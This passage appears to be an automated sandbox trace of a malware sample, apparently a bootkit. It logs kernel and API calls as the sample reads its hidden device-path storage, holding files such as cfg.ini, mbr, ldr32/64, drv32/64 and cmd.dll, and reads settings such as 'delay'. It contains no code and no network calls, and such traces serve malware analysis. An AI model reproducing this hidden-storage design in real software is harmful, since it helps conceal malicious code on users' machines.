Event=0xfffff880028b22c0) [0118.453] IdePortDispatch () returned 0x103 [0118.453] KeWaitForMutexObject () returned 0x0 [0118.453] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.453] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.453] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.453] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.453] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.453] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.453] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.453] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.453] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.453] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.453] KeLeaveCriticalRegion () [0118.453] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.453] ReleaseMutex (hMutex=0x100) returned 1 [0118.453] Sleep (dwMilliseconds=0x2bf20) [0118.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69cea190, dwHighDateTime=0x1d24fa4)) [0118.460] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.460] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.460] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.460] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.460] KeEnterCriticalRegion () [0118.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.460] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.460] IdePortDispatch () returned 0x103 [0118.461] KeWaitForMutexObject () returned 0x0 [0118.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.461] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.461] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.461] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.461] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.461] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caf00 [0118.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.461] KeLeaveCriticalRegion () [0118.461] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.462] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.462] KeEnterCriticalRegion () [0118.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.462] KeLeaveCriticalRegion () [0118.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.462] KeEnterCriticalRegion () [0118.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.462] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.462] IdePortDispatch () returned 0x103 [0118.462] KeWaitForMutexObject () returned 0x0 [0118.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.462] KeLeaveCriticalRegion () [0118.462] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.462] KeEnterCriticalRegion () [0118.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdf000 [0118.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.462] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.462] IdePortDispatch () returned 0x103 [0118.463] KeWaitForMutexObject () returned 0x0 [0118.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.463] IdePortDispatch () returned 0x103 [0118.463] KeWaitForMutexObject () returned 0x0 [0118.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.463] KeLeaveCriticalRegion () [0118.463] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.463] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.463] KeEnterCriticalRegion () [0118.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.463] KeLeaveCriticalRegion () [0118.463] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.463] KeEnterCriticalRegion () [0118.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.464] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] KeLeaveCriticalRegion () [0118.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.464] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.464] KeEnterCriticalRegion () [0118.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] ExFreePoolWithTag (P=0xfffffa80039caf00, Tag=0x0) [0118.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] KeLeaveCriticalRegion () [0118.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.464] ReleaseMutex (hMutex=0xf0) returned 1 [0118.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.464] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.464] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.464] KeEnterCriticalRegion () [0118.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.464] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.464] IdePortDispatch () returned 0x103 [0118.464] KeWaitForMutexObject () returned 0x0 [0118.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae670 [0118.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.464] KeLeaveCriticalRegion () [0118.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.464] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.464] KeEnterCriticalRegion () [0118.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.465] KeLeaveCriticalRegion () [0118.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.465] KeEnterCriticalRegion () [0118.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.465] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.465] IdePortDispatch () returned 0x103 [0118.465] KeWaitForMutexObject () returned 0x0 [0118.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.465] KeLeaveCriticalRegion () [0118.465] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.465] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.465] KeEnterCriticalRegion () [0118.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce0000 [0118.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.465] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.465] IdePortDispatch () returned 0x103 [0118.465] KeWaitForMutexObject () returned 0x0 [0118.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.466] IdePortDispatch () returned 0x103 [0118.466] KeWaitForMutexObject () returned 0x0 [0118.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.466] KeLeaveCriticalRegion () [0118.466] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.466] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.466] KeEnterCriticalRegion () [0118.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.466] KeLeaveCriticalRegion () [0118.466] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.466] KeEnterCriticalRegion () [0118.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.466] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.466] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.466] KeLeaveCriticalRegion () [0118.466] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.466] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.467] KeEnterCriticalRegion () [0118.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] ExFreePoolWithTag (P=0xfffffa8003aae670, Tag=0x0) [0118.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] KeLeaveCriticalRegion () [0118.467] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.467] ReleaseMutex (hMutex=0xf0) returned 1 [0118.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.467] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.467] KeEnterCriticalRegion () [0118.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.467] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.467] IdePortDispatch () returned 0x103 [0118.467] KeWaitForMutexObject () returned 0x0 [0118.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.467] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.467] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.467] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.467] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.467] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c9a10 [0118.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] KeLeaveCriticalRegion () [0118.467] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.467] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.467] KeEnterCriticalRegion () [0118.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] KeLeaveCriticalRegion () [0118.467] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.467] KeEnterCriticalRegion () [0118.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.468] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.468] IdePortDispatch () returned 0x103 [0118.468] KeWaitForMutexObject () returned 0x0 [0118.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.468] KeLeaveCriticalRegion () [0118.468] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.468] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.468] KeEnterCriticalRegion () [0118.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce1000 [0118.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.468] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.468] IdePortDispatch () returned 0x103 [0118.468] KeWaitForMutexObject () returned 0x0 [0118.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.468] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.468] IdePortDispatch () returned 0x103 [0118.469] KeWaitForMutexObject () returned 0x0 [0118.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] KeLeaveCriticalRegion () [0118.469] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.469] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.469] KeEnterCriticalRegion () [0118.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] KeLeaveCriticalRegion () [0118.469] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.469] KeEnterCriticalRegion () [0118.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.469] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] KeLeaveCriticalRegion () [0118.469] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.469] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.469] KeEnterCriticalRegion () [0118.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] ExFreePoolWithTag (P=0xfffffa80039c9a10, Tag=0x0) [0118.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.469] KeLeaveCriticalRegion () [0118.469] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.470] ReleaseMutex (hMutex=0xf0) returned 1 [0118.470] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.470] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.470] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.470] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.470] KeEnterCriticalRegion () [0118.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.470] IoAllocateIrp (StackSize=1, 